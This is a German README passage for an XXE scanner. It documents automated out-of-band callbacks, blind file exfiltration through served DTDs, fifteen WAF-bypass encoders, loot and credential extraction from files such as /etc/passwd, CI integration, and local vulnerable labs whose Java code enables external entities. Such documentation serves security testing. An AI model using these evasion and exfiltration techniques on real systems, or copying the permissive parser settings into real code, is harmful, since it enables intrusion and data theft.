Der Scanner startet `interactsh-client` als Subprozess, liest dessen `-json -v`-Event-Stream, extrahiert die Session-Domain und korreliert Callbacks im Prozess. Kein zweites Terminal, kein manueller Abgleich.```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
Callbacks werden an stderr ausgegeben, sobald sie eintreffen:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
Die Korrelation ist tokenbasiert. Der Scanner generiert ein eindeutiges 16-Hex-Token pro Payload, bettet es in die Subdomain ein, zeichnet die Zuordnung auf und gleicht eingehende Callbacks anhand des Tokens ab. Ein Callback, dessen Subdomain nicht das spezifische ausstehende Token für den Payload enthält, der die Subdomain generiert hat, wird verworfen, sodass unabhängiger DNS-Verkehr nicht falsch zugeordnet werden kann und ein langsamer Callback für Iteration *N* nicht Iteration *N+1* zugeschrieben werden kann. Ein korrelierter Callback trägt das volle Gewicht von +50 und liefert ein obligatorisches Signal — er kann einen Fund allein zu CRITICAL hochstufen (wobei die Zwei-Familien-Anforderung durch die OOB-Familie plus Chain-Integrität oder einen Fingerprint erfüllt wird).
**Batch-Scans** teilen sich einen `interactsh-client`-Prozess für die Lebensdauer des Laufs. Jedes Ziel erhält seine eigene `OOBClient`-Ansicht mit eigenem Token-Set, sodass die Zuordnung pro Ziel auch mit `--threads 20` korrekt bleibt.
**In der Web-Konsole** startet das Ankreuzen von *Auto OOB mode* einen gemeinsamen `interactsh-client` für die Lebensdauer des Serverprozesses, der beim ersten Auto-OOB-Job lazy gestartet und danach wiederverwendet wird. Mehrere gleichzeitige Jobs teilen sich die Domain, behalten aber unabhängige Token-Sets.
### Blind Exfiltration
Standardmäßig bestätigt ein OOB-Fund, dass Entity-Auflösung stattgefunden hat — der Callback ist eingegangen, und das Token beweist, dass er von uns stammt. Er stellt keinen Dateiinhalt wieder her. Um Inhalte wiederherzustellen, muss der Scanner die DTD bereitstellen, die das Ziel dazu bringt, seine Datei an die Callback-URL zu senden.
Drei DTD-Hosting-Modi werden unterstützt:
**Integrierter DTD-Server** (`--oob-listen HOST:PORT --oob-public-url URL`): Der Scanner bindet seinen eigenen HTTP-Server und stellt DTDs bei Bedarf bereit. Am besten für Testlabore, Same-Host-Scans und jede Umgebung, in der das Ziel die Adresse des Scanners erreichen kann.
**Dateibasiertes DTD-Serving** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): Der Scanner schreibt DTD-Dateien in ein Verzeichnis; Sie stellen dieses Verzeichnis mit nginx, Apache, `python -m http.server` oder etwas anderem bereit. Am besten für echte entfernte Ziele, bei denen die eigene Adresse des Scanners nicht erreichbar ist.
**WebUI-gehosteter DTD-Server**: Kreuzen Sie **Serve DTDs from this WebUI** im New-Scan-Drawer an und geben Sie das öffentliche URL-Präfix an. Der Scanner registriert DTDs unter `/dtd/<token>.dtd` auf demselben Flask-Prozess, der die Konsole ausführt. Kein zweites Terminal, kein `python -m http.server`, kein separates Verzeichnis. Der Benutzer muss sicherstellen, dass das Ziel die Bind-Adresse der WebUI erreichen kann — binden Sie mit `--host 0.0.0.0` und geben Sie die öffentliche IP oder den Hostnamen an.
Wenn Exfiltration aktiv ist, tragen `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED`- und `XXE-CDATA-BYPASS-OOB`-Funde den extrahierten Dateiinhalt als Loot. Dieselbe `FileContentExtractor`- und `CredentialExtractor`-Pipeline, die bei In-Band-Reads läuft, läuft auf den exfiltrierten Bytes, sodass ein blinder `/etc/passwd`-Read dieselbe Credential-Extraktion und paste-fertigen Shell-Snippets erzeugt wie ein In-Band-Read. Exfiltrierter Inhalt erscheint im **Loot**-Tab der WebUI, im `exfiltrated`-Block des OOB-Tabs und im Loot-Abschnitt des HTML-Reports.
**Voraussetzung.** Das Ziel muss Ihren DTD-Server erreichen können. Interactsh protokolliert Callbacks, stellt aber keine Inhalte bereit, kann also keinen echten HTTP-Endpunkt ersetzen. Dies ist der Funktionsweise blinder XXE-Exfiltration inhärent, keine Einschränkung des Scanners.
**Der manuelle Modus exfiltriert nicht.** Exfiltration erfordert, dass der Scanner seinen eigenen Callback-Stream liest, was nur im `--oob-auto`-Modus geschieht. Wenn Sie den manuellen Modus mit `--oob-listen` oder `--oob-dtd-dir` ausführen, werden die DTDs bereitgestellt, das Ziel wird sie abrufen, das Ziel wird den Dateiinhalt an interactsh senden — aber der Scanner wird ihn nicht extrahieren, weil er niemals die Ausgabe von interactsh liest. Die exfiltrierten Daten sind in Ihrem interactsh-Terminal sichtbar.
### Wann welchen Modus verwenden
- **Manuell** ist der sicherere Standard. Kein Subprozess, kein Crypto-Handshake, und er funktioniert mit jeder Interactsh-Bereitstellung, einschließlich vollständig air-gapped Koordination, bei der der Client auf einem anderen Host ausgeführt wird.
- **Auto** ist schneller für Batch-Scans und CI. Ein Befehl, keine Querverweise. Erfordert `interactsh-client` im `PATH`. Erforderlich für Exfiltration.
**Selbstgehostete Server** funktionieren in beiden Modi ohne scanner-seitige Änderung — richten Sie `interactsh-client` auf Ihren Server (über dessen `-s` / `-server`-Flag oder indem Sie das Binary in einen Shell-Alias einwickeln) und übergeben Sie im manuellen Modus die ausgegebene Session-Domain an `--oob-domain`.
---
## WAF-Bypass-Encoding
`--bypass-waf` sendet den gesamten Payload-Katalog nach dem Ausführen der Kernphasen erneut durch einen oder mehrere Encoder. Dies testet, ob eine WAF die klassischen Payload-Formen blockiert, aber ein transformiertes Äquivalent durchlässt — jedoch ohne die direkten Funde hinter dem encoded Sweep zu verbergen.
Fünfzehn Encoder über drei Familien:
**Dokument-Encoder** (transformieren den Byte-Stream):
| Name | Transform | Hinweise |
|---|---|---|
| `utf16be` | UTF-16 BE mit BOM | Klassische Byte-Stream-Verschiebung. Die meisten WAFs dekodieren Bodies als UTF-8 und übersehen die eingestreuten Nulls. |
| `utf16le` | UTF-16 LE mit BOM | Gleiches Prinzip, umgekehrte Endianness. |
| `utf16decl` | UTF-16 BE mit BOM und umgeschriebener Deklaration | Die Deklaration wird auf `encoding="UTF-16"` aktualisiert, damit strikte Parser sie akzeptieren. |
| `utf16nobom` | UTF-16 BE ohne BOM, Deklaration umgeschrieben | Manche Parser beachten die Deklaration und leiten die Endianness ab; manche WAFs nutzen die BOM als Dekodierungssignal und überspringen einen Body, der sie nicht enthält. |
| `utf32be` | UTF-32 BE mit BOM | Von WAFs weniger verbreitet unterstützt als UTF-16. |
| `utf32le` | UTF-32 LE mit BOM | Dasselbe, umgekehrte Endianness. |
| `ebcdic` | EBCDIC CP037 | Kaum eine WAF dekodiert EBCDIC vor der Inspektion. libxml2 erkennt es automatisch; Xerces und .NET lehnen es sauber ab. |
| `ucs4_2143` | UCS-4 Byte-Reihenfolge 2,1,4,3 | Unicode TR#17-Permutation. Das Byte-Muster entspricht keiner UTF-32 BE/LE-Signatur, sodass WAFs es nicht dekodieren. Dieselbe Reihenfolge, die den XmlScanner von PhpSpreadsheet in CVE-2024-47873 umgangen hat. |
| `utf8bom` | UTF-8 mit BOM | Marginal, aber kostenlos. Besiegt Regexe, die bei `^<?xml` verankert sind. |
**Keyword-Evasion-Encoder** (transformieren die Entity-Deklaration):
| Name | Transform | Hinweise |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | Gültiges XML. WAFs, die nur auf `SYSTEM "file://` matchen, übersehen es. |
| `public_charref` | `SYSTEM`-Keyword → Hex-Zeichenreferenzen innerhalb einer `PUBLIC`-Deklaration | Zeichenreferenzen werden innerhalb von `PubidLiteral` expandiert, aber nicht innerhalb von `SystemLiteral`. Der Parser setzt `SYSTEM` als Public ID wieder zusammen; eine WAF, die den Literal-String matcht, übersieht es. |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | Bypass-Probe, kein File-Read-Primitiv — die Entity löst sich zum URI-*String* auf, nicht zum Dateiinhalt. Verwenden Sie es, um zu bestätigen, dass die WAF besiegt werden kann; kombinieren Sie es mit einem Application-Level-Sink zur Extraktion. |
**Grammatik-Level-Encoder** (gültiges XML, besiegen faule WAFs):
| Name | Transform | Hinweise |
|---|---|---|
| `whitespace_pad` | 512 Leerzeichen in der XML-Deklaration eingefügt | XML erlaubt beliebigen Whitespace zwischen Deklarations-Pseudo-Attributen. WAFs, die nur die ersten N Bytes des Bodys inspizieren, sehen eine gepolsterte Deklaration und erreichen nie die DOCTYPE. |
| `doctype_closure` | Decoy-Kommentar nach `]>` | Manche WAFs parsen die DOCTYPE, um ihr Ende zu lokalisieren, und inspizieren dann den Rest. Das Einfügen eines XML-Kommentars nach `]>` kann diesen Parser zu einem vorzeitigen Exit verleiten, der die Entity-Deklarationen überspringt. Der XML-Parser ignoriert den Kommentar. |
| `pe_stager` | Entity-Deklaration als Parameter-Entity-Kette umgeschrieben | WAFs sehen `<!ENTITY % stage "…"` und `%stage;`, aber nie die `SYSTEM "file://…"`-URI in einer einzigen Deklaration. Der Parser expandiert `%stage`, was die echte Entity deklariert. Funktioniert bei jedem Parser, der Parameter-Entities im internen Subset erlaubt — Xerces und .NET out of the box; libxml2 nur, wenn die Internal-PE-Beschränkung zur Build-Zeit aufgehoben wurde. |
Encoder, deren Ausgabe bei einem gegebenen Payload byte-identisch mit der Eingabe ist, werden übersprungen (keine Anfrage gesendet). Ein Fund wird pro überlebender (Payload × Encoder)-Kombination als `XXE-WAF-BYPASS-<ENCODER>` (oder `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` für OOB-Familien) erhoben, oder, für OOB-Familien, nur wenn ein korrelierter Callback eintrifft.```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
Phasenreihenfolge. Die WAF-Bypass-Phase läuft nach den Kernphasen, nicht davor. Ein Ziel, das auf eine einfache SYSTEM "file://"-Payload reagiert, muss nicht zuerst mit 1.500 kodierten Varianten beschickt werden — die direkten Sonden finden es in ~20 Anfragen, und der kodierte Sweep ist der Fallback für den Fall, dass sie blockiert wurden. Die Phase verwendet weiterhin denselben Katalog, erzeugt weiterhin dieselben Findings und läuft weiterhin, wenn --bypass-waf gesetzt ist; sie versteckt nur keine direkten Treffer hinter dem Sweep.
Anfragevolumen. Ein Katalog von ~100 Payloads × 15 Encodern ergibt im schlimmsten Fall ~1.500 Anfragen pro Ziel. Das Wall-Clock-Budget ist der einzige Drosselungsfaktor; die Phase prüft die Deadline vor jedem Versand und bricht sauber ab. Bei großen Zielen ist eine benannte Encoder-Teilmenge gegenüber --bypass-waf all zu bevorzugen.
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
Jede Datei wird gegen jedes Dateiziel getestet. Befunde werden als `XXE-CUSTOM-<filename>` zugeordnet. Benutzerdefinierte Payloads laufen durch denselben OOB-Helper wie die integrierten Phasen, sodass ihre Subdomains und Technik-Labels in der `[OOB]`-Checkliste erscheinen (manueller Modus) oder korrelierte Callbacks auslösen (Auto-Modus).
**Cookies und Burp-Integration:** Die Cookie-Priorität ist inline > Cookie-Datei > Burp-Request. Sowohl Netscape-Jar- als auch `key=value`-Formate werden unterstützt. Burp-Requests behalten Methode und End-to-End-Header bei; Hop-by-Hop-Header und vom Scanner verwaltete `Cookie`/`Content-Type` werden nicht weitergeleitet. Das Schema wird aus dem `Host`-Header, der HTTP-Versionszeile und jedem `X-Forwarded-Proto` / `Forwarded` / `:scheme`-Header abgeleitet, den der Request trägt. 443/8443/9443/10443/6443/7443/4443 → HTTPS; 80/8000/8008/8080/8088/8888 → HTTP; unbekannte Ports und HTTP/2-Requests → standardmäßig HTTPS. IPv6-Hosts werden korrekt geparst.
**Pre-Auth-Replay:** `--pre-auth-request FILE` nimmt einen Request im Burp-Format entgegen, spielt ihn einmal gegen das Ziel ab, bevor die Baseline-Erfassung erfolgt, und führt alle `Set-Cookie`-Header in das Jar zusammen. Das wiederholte Angeben des Flags spielt mehrere Requests in Reihenfolge ab, sodass ein zweistufiger Ablauf (CSRF-Token-Abruf, dann Credentials-POST) funktioniert. Die Cookies jedes Replays stehen dem nächsten Request in der Sequenz zur Verfügung.
**WAF-Bypass mit Customs:** `--bypass-waf-include-custom` erweitert den Encoder-Sweep auf Benutzer-Payloads. Customs, die `{CALLBACK}` oder `{DOMAIN}` referenzieren, werden übersprungen (eine kodierte OOB-Payload kann nicht über einen Platzhalter korreliert werden).
---
## Ausgabeformate
### JSON (Schema 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
Das interne Feld skipped_phases wird aus dem serialisierten JSON entfernt — es dient der Buchführung für den Terminal-Abdeckungsbericht, nicht als Finding.
Jede Finding-ID wird zu einer SARIF-Regel mit helpUri, die auf die primäre CWE-Definition verweist. Jedes Finding wird zu einem Ergebnis, dessen artifactLocation.uri die Ziel-URL ist. Zusätzliche Felder (confidence, cwe, reasons, evidence) werden in result.properties mitgeführt. Schweregrad-Zuordnung: CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.
--report-html PATH schreibt eine einzelne, in sich geschlossene HTML-Datei. Keine CDN-Links, keine externen Bilder, keine Webfonts. Öffnet sich in jedem Browser, wird offline identisch dargestellt und lässt sich sauber drucken.
Abschnitte:
Die Web-Konsole stellt denselben HTML-Bericht inline unter /api/jobs/<jid>/report.html bereit (über die Schaltfläche View HTML) und lädt ihn von /api/jobs/<jid>/report.html.download herunter (über die Schaltfläche HTML).
| Urteil | Bedeutung |
|---|---|
[VULNERABLE] | Mindestens ein Finding mit Schweregrad MEDIUM oder höher |
[MANUAL-OOB] | Keine Findings, aber OOB-Payloads wurden gesendet (nur im manuellen Modus) |
[INFO-ONLY] | Keine Findings, keine OOB-Payloads, aber mindestens eine Phase wurde übersprungen |
[OK] | Nichts zu berichten, nichts übersprungen |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## Zuverlässigkeit und Abdeckung
| Funktion | Verhalten |
|---|---|
| HTTP/2-Aushandlung | `build_session` konstruiert einen `httpx.Client` mit `http2=True`. Der ALPN-Handshake handelt HTTP/2 aus, wo der Server es unterstützt, und fällt andernfalls stillschweigend auf HTTP/1.1 zurück. Keine Konfiguration pro Ziel |
| Isolation pro Phase | Jede Phase läuft innerhalb von `_run_phase`, das jede Ausnahme abfängt, den Traceback unter `--debug` protokolliert, ein `phase_error`-Ereignis ausgibt und mit der nächsten Phase fortfährt |
| Ratenbegrenzung | `--rate N` erzwingt ein Mindestintervall von `1/N` Sekunden zwischen Anfragen pro Ziel, angewendet durch die gemeinsame `RateLimiter`-Instanz, die jeder Sendepfad konsultiert. Unabhängig von `--threads` |
| Wiederholung und Backoff | Vorübergehende Fehler (`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`) werden dreimal mit 0,5s, 0,75s, 1,125s Backoff wiederholt |
| Beachtung von Retry-After | Wird bei 429 und 503 beachtet, begrenzt auf 10s |
| Null-Antwort-Schutz bei OOB-Sends | Ein fehlgeschlagener Send überspringt die Poll-Wartezeit, anstatt den Scan zu blockieren |
| Fingerprint-Cache auf der Festplatte | `~/.cache/xxeripper/fingerprints.json`. Wiederholte Scans derselben URL überspringen die 9-Probe-Sequenz. Löschen Sie die Datei oder übergeben Sie `--no-fingerprint-cache`, um sie zu invalidieren |
| Wall-Clock-Budget | `--budget SECONDS` — jede Phase prüft `ctx.expired()` vor jedem Send und bricht sauber ab |
| Kooperative Abbruchmöglichkeit | Ein `ScanContext.cancel()`-Aufruf signalisiert jeder Phase den Abbruch. Die Web-Konsole stellt dies über die **Stop**-Schaltfläche bereit |
| TLS-Umschaltung | Die Verifikation ist standardmäßig für Pentest-Nutzung deaktiviert; `--verify-tls` aktiviert sie wieder |
| CI-Exit-Codes | 0 = sauber, 1 = Konfigurationsfehler, 2 = Finding auf oder über `--fail-on`, 130 = Ctrl-C |
| Thread-sichere Findings | `add_finding` ist durch ein Lock geschützt und führt doppelte IDs an Ort und Stelle zusammen — Erhöhung der Schwere, OR-Verknüpfung von `confirmed`, Übernahme von `max(confidence)`, Vereinigung von Gründen und Belegen — anstatt doppelte Einträge auszugeben. Jede Zusammenführung und jedes neue Finding gibt ein Ereignis aus, damit die Web-Konsole live aktualisiert wird |
| Thread-sichere OOB-Statistiken | `OOBClient.stats()` gibt einen gesperrten Snapshot zurück, sodass die CLI-Zusammenfassung auch während einer laufenden Phase eine konsistente Ansicht liest |
| Deduplizierte Beute | `LootStore.add_file` und `LootStore.add_secret` schlüsseln auf den SHA-256 des Inhalts. Zwei Findings, die dieselbe Datei wiederherstellen, erzeugen einen Beute-Eintrag |
| Abdeckungsbericht | Überspringliste pro Ziel mit menschenlesbaren Gründen; Zusammenfassung der Ziele mit Überspringungen am Ende des Scans |
| Fingerprint-Cache in CI | Richten Sie `HOME` auf ein persistiertes Cache-Verzeichnis, um 9 Anfragen pro Lauf zu sparen. Die Cache-Größe beträgt ungefähr 1 KB pro URL |
Der Wiederholungsadapter wiederholt bewusst kein HTTP 500 — fehlerbasierte XXE-Ziele geben absichtlich 500 zurück, und eine Wiederholung verbirgt das Signal.
---
## CI/CD-Integration
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### Caching von Fingerabdrücken in CI```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
Die Cache-Größe beträgt ungefähr 1 KB pro URL und bleibt zwischen den Läufen stabil, es sei denn, der Parser des Ziels ändert sich.
Auto OOB in CI. --oob-auto erfordert interactsh-client in PATH. Auf GitHub-gehosteten Runnern installieren Sie es in einem Setup-Schritt:```yaml
Wenn Ihre CI-Umgebung ausgehende DNS-Anfragen an beliebige Subdomains blockiert, verwenden Sie den manuellen Modus mit einem selbst gehosteten Interactsh-Server, den Ihre Pipeline erreichen kann.
**Blinde Exfiltration in CI.** Damit die Exfiltrations-Pipeline Loot-Einträge erzeugen kann, muss der CI-Runner vom Ziel aus erreichbar sein. Das bedeutet normalerweise einen selbst gehosteten Runner in einem Netzwerk, das das Ziel erreichen kann, oder `--oob-dtd-dir` in Kombination mit einem extern bereitgestellten Verzeichnis, von dem das Ziel abrufen kann. Interactsh allein funktioniert nicht — es protokolliert Callbacks, stellt aber keine Inhalte bereit.
---
## Testen gegen die enthaltenen Labs
XXERipper wird mit zwei lokalen Test-Labs ausgeliefert, die **echte verwundbare Parser** mit denselben Konfigurationen ausführen, die Produktionsanwendungen verwenden. Es handelt sich nicht um Mocks — jedes Lab stellt eine bestimmte Technik bereit, damit Sie überprüfen können, dass der Scanner sie korrekt erkennt, und jedes enthält Endpunkte als Falsch-Positiv-Köder, damit Sie überprüfen können, dass er *nicht* zu viel meldet.
Beide Labs binden an `127.0.0.1` und lesen auf Anfrage absichtlich lokale Dateien. **Setzen Sie sie niemals einem Netzwerk aus, das Ihnen nicht gehört.**
### Lab-Inventar
| Lab | Datei | Stack | Port | Was es beweist |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2, httpx (HTTP/1.1 oder HTTP/2 via ALPN) für alle ausgehenden Entity-Abrufe | `127.0.0.1:5000` | 54 Endpunkte über zehn Technik-Familien, plus sichere Gegenstücke für jede abgedeckte Technik und eine Verdicts-API für automatisierte Bewertung. Stellt standardmäßig HTTP bereit; TLS via `--https` / `--autocert` |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | Fehlerbasierte XXE, die modernes libxml2 auf C-Ebene blockiert |
### Python-Lab — `xxe_lab.py`
Installieren Sie die Lab-Abhängigkeiten (isoliert von den eigenen Anforderungen des Scanners):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
Das Lab zieht httpx[http2] aus demselben Grund wie der Scanner — ausgehende Entity-Fetches verhandeln HTTP/2 über ALPN, wenn der OOB-Collector oder der Metadaten-Endpunkt es spricht, und fallen andernfalls stillschweigend auf HTTP/1.1 zurück. Das eingehende Flask ist unabhängig davon HTTP/1.1.```bash
make lab
python3 xxe_lab.py
Das Lab stellt **54 Endpunkte** über drei Urteilsklassen bereit: 36 `vuln`, 17 `safe`, 1 `fn`-Köder.
### TLS
Das Lab spricht standardmäßig HTTP. Drei Flags aktivieren TLS:
| Flag | Verhalten |
|---|---|
| `--https` | Über TLS bereitstellen. Verwendet ein zwischengespeichertes selbstsigniertes Zertifikat wieder, falls eines unter `$TMPDIR/xxe-lab-certs/` existiert, andernfalls wird eines mit `openssl` generiert. Die Wiederverwendung des zwischengespeicherten Zertifikats über Neustarts hinweg hält jeden TLS-Fingerprint auf Scannerseite stabil. |
| `--autocert` | Über TLS mit einem **frisch generierten** selbstsignierten Zertifikat bereitstellen. Führt immer `openssl` aus und überschreibt das zwischengespeicherte Zertifikat. Impliziert `--https`. Gegenseitig ausschließend mit `--cert` / `--key`. |
| `--cert PATH` / `--key PATH` | Über TLS mit einem bereitgestellten PEM-Paar bereitstellen. Beide müssen zusammen angegeben werden. |
`--host` und `--port` überschreiben die Bind-Adresse (Standard `127.0.0.1:5000`); die Umgebungsvariablen `FLASK_HOST` und `FLASK_PORT` werden als Standardwerte berücksichtigt.```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
Das generierte Zertifikat ist RSA-2048, 365 Tage, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost — ohne Passphrase. Erfordert openssl im PATH (OpenSSL 1.1.1+ für -addext). Wenn Sie ein Zertifikat ohne diese Einschränkungen benötigen, übergeben Sie stattdessen --cert / --key.
Das Lab hat zwei Antwortmodi, die pro Anfrage umgeschaltet werden können:
realistic (Standard) — imitiert eine echte Anwendung. Falscher Content-Type gibt 415 zurück, falsche Form fällt durch zum Parser (weiches Gate) oder gibt ein generisches 400 zurück (hartes Gate). Kein Grund wird preisgegeben. Der Scanner muss anhand der Antwortform allein unterscheiden, ob „das Ziel meine Payload abgelehnt hat" oder „das Ziel hat sie akzeptiert, aber nicht aufgelöst".
scoped — der deterministische Legacy-Modus. Jeder Out-of-Scope-Body gibt ein stabiles 200 out of scope: <reason> zurück, das nichts parst. Opt-in für Regressions-Suites, bei denen technikübergreifende False-Positive-Vetos exakt sein müssen.
Überschreiben Sie dies pro Anfrage mit einem Header oder einem Query-Parameter:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
Die Priorität ist Header > Query-Parameter > Env-Standard (`XXE_LAB_MODE`).
### Endpunkt-Gruppen
**Unscoped vulnerable** — akzeptiert jedes XML, parst immer mit dem verwundbaren Parser:
| Endpunkt | Was er ausübt |
|---|---|
| `POST /xml/vulnerable` | In-Band-Dateilesen, Content-Type-Matrix, Chain-Integrität |
| `POST /xml/blind` | Stiller Parser — löst Entities auf, reflektiert nie (nur OOB) |
| `POST /xml/error` | Fehlerkanal — gibt Parser-Tracebacks zurück |
| `POST /xml/reflect` | Reflektiert den Roh-Body UND parst — übt das Reflection-Veto aus |
| `POST /xml/timing` | Schläft, wenn die Payload eine externe SYSTEM-Entity enthält — timing-basiertes Blind |
**In-Band- und Delivery-Vektoren**, **Envelopes**, **Encodings**, **Inclusion**, **Extended Fetchers**, **Dateiformate**, **Parameter-Entity und Metadaten** sowie **Blind OOB** — die vollständige Endpunktliste ist verfügbar unter <http://127.0.0.1:5000/api/endpoints> oder in der UI des Labs selbst unter <http://127.0.0.1:5000/>.
### Sichere Gegenstücke
Jeder scoped vulnerable Endpunkt hat ein sicheres Gegenstück, das dieselbe Scope-Prüfung durchführt, aber mit deaktivierten Entities und blockiertem Netzwerkzugriff parst. Die Benennung ist mechanisch: `/xml/safe-form` spiegelt `/xml/form`, `/xml/safe-xslt` spiegelt `/xml/xslt` und so weiter.
Dieses Design existiert, damit das Cross-Technique-False-Positive-Veto des Scanners End-to-End getestet werden kann. Betrachten wir die form-encoded Phase: Der Scanner sendet form-encoded XML an jedes Ziel, das er scannt. Gegen `/xml/form` erzeugt das einen Fund, wenn die Payload aufgelöst wird. Gegen `/xml/safe-form` sollte dieselbe Payload nichts erzeugen. Bevor die sicheren Gegenstücke existierten, hatte ein Ziel wie `/xml/safe` überhaupt keine Form-Field-Scope-Prüfung, sodass die form-encoded Payload von einem „sicheren" Endpunkt akzeptiert und geparst wurde — ein False Positive, der nicht die Schuld des Scanners war, aber auch nicht von einem unterscheidbar war.
Die sicheren Gegenstücke schließen dieses Loch. Es gibt 13 davon:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
Dazu die vier Basis-Köder, die überhaupt keine Scope-Prüfungen vornehmen:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
Und ein False-Negative-Köder:```
/xml/silent
Ein korrekter Scanner meldet [OK] bei allen siebzehn. Jeder Befund bei ihnen ist ein Scanner-Bug, kein Befund.
Das Lab stellt GET /api/verdicts bereit, eine JSON-Zuordnung von "<method> <path>" zu einem von "vuln", "safe" oder "fn":```json
{
"POST /xml/vulnerable": "vuln",
"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
Dies ist der Hook für die automatisierte Bewertung. Eine Testumgebung kann die Ergebnisse des Scanners pro Endpunkt erfassen, mit der Verdict-Map abgleichen und Precision und Recall berechnen, ohne HTML zu parsen oder Endpunkt-Metadaten zu lesen.
### Java-Lab — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
Einzelner Endpunkt: POST /xml/error. Gibt bei Erfolg parsed ok zurück, oder XML parse error: <message> bei einem Fehler — passend zu einer anfälligen Java-Anwendung, die str(e) protokolliert.
Das Java-Lab bleibt für die fehlerbasierte XXE-Phase erforderlich. libxml2 2.13 und später blockiert standardmäßig den Zugriff auf externe DTDs, sodass XXE-ERROR-BASED-MALFORMED nicht gegen das Python-Lab ausgelöst werden kann. Xerces erlaubt Parameter-Entities aus internen Subsets und löst den Befund ganz ohne lokale DTD aus. Das Lab aktiviert die erforderlichen Funktionen explizit:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **Hinweis:** `ACCESS_EXTERNAL_DTD = ""` (leerer String) bedeutet *alles verweigern*, nicht alles erlauben. Verwende `"all"` für einen permissiven Parser.
### Local-DTD-Angriff — DTDs auf dem Ziel installieren
